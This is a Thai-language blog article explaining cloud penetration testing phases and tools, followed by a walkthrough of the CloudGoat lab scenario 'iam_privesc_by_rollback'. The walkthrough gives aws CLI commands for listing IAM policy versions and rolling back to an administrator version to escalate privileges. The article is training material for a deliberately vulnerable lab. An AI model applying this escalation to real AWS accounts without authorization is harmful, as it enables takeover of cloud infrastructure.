สวัสดีค่ะผู้อ่านทุกท่าน สำหรับบทความวันนี้เราจะมาพูดถึงการทำ Cloud Penetration Testing หรือที่เรียกว่าการทดสอบการเจาะระบบคลาวด์ ว่าคืออะไร มีกระบวนการทำงานยังไง และใช้เครื่องมืออะไรในการทดสอบบ้าง เราไปเริ่มกันเลยค่ะ
Cloud Penetration Testing คืออะไร?
Cloud Penetration Testing คือการทดสอบความปลอดภัยของระบบบนคลาวด์ รวมถึงโครงสร้างพื้นฐานในรูปแบบ Infrastructure as a service (IaaS), Platform as a service (PaaS), and Software as a service (SaaS) โดยการทดสอบระบบคลาวด์เกี่ยวข้องกับการใช้เครื่องมือและเทคนิคต่าง ๆ เพื่อจำลองการโจมตีระบบคลาวด์ โดยมีเป้าหมายเพื่อระบุช่องโหว่ที่ผู้โจมตีอาจนำไปใช้ประโยชน์ได้ โดยระหว่างการทดสอบระบบคลาวด์ ผู้ทดสอบอาจพยายามเข้าถึงบัญชีระบบคลาวด์ ยกระดับสิทธิ์ ใช้ประโยชน์จากช่องโหว่ในโครงสร้างพื้นฐานระบบคลาวด์ หรือดำเนินการทดสอบเว็บแอปพลิเคชันของแอปพลิเคชันบนระบบคลาวด์
กระบวนการของ Cloud Penetration Testing
- Planning and scoping: ขั้นตอนแรกในการทดสอบระบบคลาวด์ คือการกำหนดขอบเขตของการทดสอบและวางแผนวิธีการ ซึ่งรวมถึงการระบุระบบบนคลาวด์เป้าหมาย การกำหนดวัตถุประสงค์และข้อจำกัดในการทดสอบ และการได้รับอนุญาตที่เหมาะสมจากผู้ให้บริการคลาวด์หรือเจ้าของ
- Reconnaissance and information gathering: ในขั้นตอนนี้ ผู้ทดสอบจะรวบรวมข้อมูลเกี่ยวกับระบบเป้าหมาย ซึ่งรวมถึงการระบุผู้ให้บริการ บริการ และแอปพลิเคชันที่ใช้งาน รวมถึงรูปแบบของ Network topology และ System architecture ที่เป้าหมายใช้อยู่บนคลาวด์
- Vulnerability identification and analysis: ผู้ทดสอบใช้เครื่องมือและเทคนิคต่าง ๆ เพื่อระบุช่องโหว่ในระบบคลาวด์เป้าหมาย ซึ่งรวมถึงการทดสอบทั้งแบบ Manual และ Sutomated testing เพื่อระบุช่องโหว่ทั่วไป เช่น Misconfigurations, Insecure APIs, and Weak Authentication Mechanisms.
- Exploitation of vulnerabilities to gain access: เมื่อมีการระบุช่องโหว่แล้ว ผู้ทดสอบจะพยายามใช้ประโยชน์จากช่องโหว่เหล่านั้นเพื่อเข้าถึงระบบบนคลาวด์เป้าหมายโดยไม่ได้รับอนุญาต ซึ่งรวมถึงการใช้เครื่องมือและเทคนิคต่าง ๆ เช่น Brute Force Attacks, Injection Attacks และ Social Engineering หรือเทคนิคอื่น ๆ ตามความเหมาะสมกับเป้าหมาย
- Privilege escalation and lateral movement: หลังจากที่ผู้ทดสอบเข้าถึงระบบได้ ผู้ทดสอบจะพยายามเพิ่มระดับสิทธิ์และสำรวจภายในระบบเป้าหมายเพิ่มเติม เพื่อเข้าถึงข้อมูลหรือระบบที่ละเอียดอ่อนที่เพิ่มมากขึ้น
- Reporting and remediation recommendations: หลังจากเสร็จสิ้นการทดสอบ ผู้ทดสอบจะบันทึกสิ่งที่ค้นพบและให้คำแนะนำสำหรับการแก้ไขแก่ผู้ให้บริการคลาวด์หรือเจ้าของ ซึ่งรวมถึงรายละเอียดเกี่ยวกับช่องโหว่ที่พบ วิธีการที่ใช้ในการใช้ประโยชน์จากช่องโหว่
ต่อไปจะเป็นการแนะนำถึงเครื่องมือพื้นฐานและ Lab เพื่อเป็นการช่วยในการทำ Cloud Penetration Testing ให้มีประสิทธิภาพมากยิ่งขึ้น
เครื่องมือที่ใช้ใน Cloud Penetration Testing
- เครื่องมือทดสอบระบบคลาวด์ทั่วไปบางตัว ได้แก่ Metasploit, Nmap, Nessus, Burp Suite
- เครื่องมือเฉพาะสำหรับคลาวด์ต่าง ๆ เช่น Amazon Web Services (AWS) และ Google Cloud Platform (GCP)
ตัวอย่างเครื่องมืออื่น ๆ
- CloudSploit by Aqua — Cloud Security Scans: เป็นเครื่องมือที่ออกแบบมาเพื่อตรวจจับความเสี่ยงด้านความปลอดภัยในบัญชีโครงสร้างพื้นฐานระบบคลาวด์
Link: https://github.com/aquasecurity/cloudsploit
- PurplePanda: เป็นเครื่องมือที่ช่วยค้นหาข้อมูลจากแอปพลิเคชันคลาวด์ต่าง ๆ โดยเน้นที่สิทธิ์เพื่อระบุเส้นทางการยกระดับสิทธิ์และสิทธิ์ที่เป็นอันตราย โดยจะค้นหาทั้งเส้นทางการยกระดับสิทธิ์ภายในแพลตฟอร์มและข้ามแพลตฟอร์ม
Link: https://github.com/carlospolop/purplepanda
- Scout Suite: เป็นเครื่องมือตรวจสอบความปลอดภัยแบบมัลติคลาวด์แบบโอเพ่นซอร์ส ซึ่งช่วยให้สามารถประเมินความปลอดภัยของสภาพแวดล้อมระบบคลาวด์ได้
Link: https://github.com/nccgroup/ScoutSuite
- Cartography: เป็นเครื่องมือ Python ที่สำรวจโครงสร้างพื้นฐานและความสัมพันธ์ระหว่างกันในมุมมองกราฟ
Link: https://github.com/lyft/cartography
Labs
ซึ่งบทความนี้เราจะมาแนะนำเกี่ยวกับ Lab ของ AWS ที่ชื่อว่า Cloudgoat สำหรับข้อมูลทั่วไปของ Labs สามารถค้นหาได้จาก Link: https://github.com/RhinoSecurityLabs/cloudgoat
วิธีติดตั้ง
2. https://www.weborion.io/blog/aws-cloudgoat-and-mitigation-strategies-part-1/
โดยวันนี้ทางผู้เขียนจะมาแนะนำ Scenario: iam_privesc_by_rollback ซึ่งเป็น Scenario หนึ่งของ Cloudgoat โดย Lab นี้มีเส้นทางการโจมตี ดังนี้
ผู้โจมตีเริ่มต้นด้วยผู้ใช้ IAM “Raynor” จากนั้นผู้โจมตีได้ทำการวิเคราะห์สิทธิ์ของ Raynor และสังเกตเห็นสิทธิ์ SetDefaultPolicyVersion ซึ่งอนุญาตให้เข้าถึง IAM policy versions ทั้ง 4 เวอร์ชันที่ผ่านมา หลังจากตรวจสอบ policy versions เก่าแล้ว ผู้โจมตีพบว่าเวอร์ชันหนึ่งมีสิทธิ์ผู้ดูแลระบบ ผู้โจมตีจึงทำการคืนค่า policy versions กลับไปที่เวอร์ชันที่มีสิทธิ์ผู้ดูแลระบบ เป็นการยกระดับสิทธิ์ให้กับ IAM “Raynor”
โดยมีขั้นตอนทั้งหมดดังนี้
- เมื่อทำการติดตั้ง cloudgoat เรียบร้อย ผู้เขียนจึงได้ทำการเปิด lab: iam_privesc_by_rollback ขึ้นมาโดยคำสั่ง
./cloudgoat.py create iam_privesc_by_rollback
2. เมื่อทำการเปิด Lab เรียบร้อยจะมีการสร้างไฟล์ข้อมูล ซึ่งเป็นข้อมูลของ profile เริ่มต้นคือ profile: Raynor โดยเก็บไว้ที่ /home/kali/cloudgoat/iam_privesc_by_rollback_cgidylajm0xrmv/start.txt
3. ผู้เขียนแสดงข้อมูลของ profile: Raynor จากไฟล์ที่ได้รับจาก Lab
4. ผู้เขียนเริ่มต้นโดยการ เพิ่ม configure ของ profile เข้าไปในระบบจากข้อมูลที่ได้รับมา
aws configure — profile Raynor
5. ผู้เขียนได้ตรวจสอบข้อมูลของ profile: Raynor อีกครั้ง
aws sts get-caller-identity — profile Raynor
โดยข้อมูลที่ผู้เขียนได้รับคือ Username ของ Profile Raynor โดย Username คือ raynor-iam_privesc_by_rollback_cgidylajm0xrmv
6. ต่อมาผู้เขียนได้ตรวจสอบ Policy ของ profile: Raynor
aws iam list-attached-user-policies — user-name <username> — profile Raynor
โดยข้อมูลที่ผู้เขียนได้รับคือ PolicyArn คือ arn:aws:iam::361372830004:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidylajm0xrmv
7. ผู้เขียนได้ตรวจสอบ policy versions ของ profile:Raynor
aws iam list-policy-versions — policy-arn <generatedARN>/cg-raynor-policy — profile Raynor
โดยข้อมูลที่ผู้เขียนได้รับคือ profile: Raynor ใช้ policy versions ที่เวอร์ชัน v1 เป็นเวอร์ชันปัจจุบัน
8. ผู้เขียนตรวจสอบข้อมูลของเวอร์ชัน v1 ซึ่งคือเวอร์ชันปัจจุบันที่มีการใช้งานอยู่ พบว่าเวอร์ชันนี้สามารถใช้งาน Action ที่ชื่อว่า “iam:SetDefaultPolicyVersion” ซึ่งทำให้สามารถทำการเรียกคืนเวอร์ชันการทำงานให้เป็นเวอร์ชันไหนก็ได้
aws iam get-policy-version — policy-arn <policy arn> — version-id v1 — profile Raynor
9. เมื่อผู้เขียนตรวจสอบข้อมูลของเวอร์ชันปัจจุบันแล้ว ผู้เขียนจะเริ่มตรวจสอบข้อมูลของเวอร์ชันอื่น ๆ เพื่อค้นหา เวอร์ชันที่เป็นสิทธิ์ของผู้ดูแลระบบ โดยจากรูปคือ ข้อมูลของเวอร์ชัน v2
aws iam get-policy-version — policy-arn <policy arn> — version-id v2 — profile Raynor
10. ข้อมูลของเวอร์ชัน v3
aws iam get-policy-version — policy-arn <policy arn> — version-id v3 — profile Raynor
11. ข้อมูลของเวอร์ชัน v4
aws iam get-policy-version — policy-arn <policy arn> — version-id v4 — profile Raynor
12. เมื่อผู้เขียนตรวจสอบข้อมูลของเวอร์ชันมาถึง v5 ผู้เขียนพบว่าเวอร์ชัน v5 เป็นสิทธิ์ของผู้ดูแลระบบ โดยสังเกตจาก Action ที่มีการ Allow ให้ทำได้ทุกอย่าง
aws iam get-policy-version — policy-arn <policy arn> — version-id v5 — profile Raynor
13. ผู้เขียนจึงได้ทำการคืนค่าเวอร์ชันการใช้งานจากเวอร์ชัน v1 เป็นเวอร์ชัน v5 เพื่อเป็นการยกระดับสิทธิ์ของ profile: Raynor ให้เป็นสิทธิ์ของผู้ดูแลระบบ
aws iam set-default-policy-version — policy-arn <policy arn> — version-id v5 — profile Raynor
14. หลังจากทำการคืนค่าเวอร์ชันเรียบร้อย ผู้เขียนได้ตรวจสอบเวอร์ชันของ profile: Raynor อีกครั้ง พบว่าเวอร์ชันที่ใช้งานได้เปลี่ยนจากเวอร์ชัน v1 เป็นเวอร์ชัน v5 ซึ่งเป็นสิทธิ์ของผู้ดูแลระบบเรียบร้อยแล้ว
aws iam list-policy-versions — policy-arn <policy arn> — profile Raynor
จบเป็นไปแล้วสำหรับ Lab ที่ทางผู้เขียนได้ยกตัวอย่างมาให้ดูกัน สำหรับผู้อ่านท่านใดสนใจทำ Scenario อื่น ๆ ของ Cloudgoat สามารถเข้าไปตาม Link ที่ทางผู้เขียนได้มีการให้ไว้ในช่วงต้นของการทำ Labs ได้เลย หรือถ้าสนใจทำ Labs ของ Cloud providers อื่น ๆ ทางผู้เขียนก็ได้มีการรวบรวมให้ไว้ตาม Link ด้านล่างบทความนี้ สำหรับวันนี้ทางผู้เขียนขอลาไปก่อน ไว้พบกันในบทความหน้า สำหรับวันนี้ สวัสดีค่ะ 😊
ข้อมูล Labs
Lab สำหรับ AWS : https://github.com/ine-labs/AWSGoat , https://github.com/RhinoSecurityLabs/cloudgoat
Lab สำหรับ Azure: https://github.com/ine-labs/AzureGoat
Lab สำหรับ Google: https://github.com/ine-labs/GCPGoat
อ้างอิง
- https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology
- https://www.weborion.io/blog/aws-cloudgoat-and-mitigation-strategies-part-1/
- https://developer.cobalt.io/platform-deep-dive/pentests/pentest-process/methodologies/cloud/
- https://www.imperva.com/learn/application-security/penetration-testing/
- https://dev.to/ariaareeds/how-to-do-cloud-penetration-testing-a-complete-guide-4mgf
- https://github.com/RhinoSecurityLabs/cloudgoat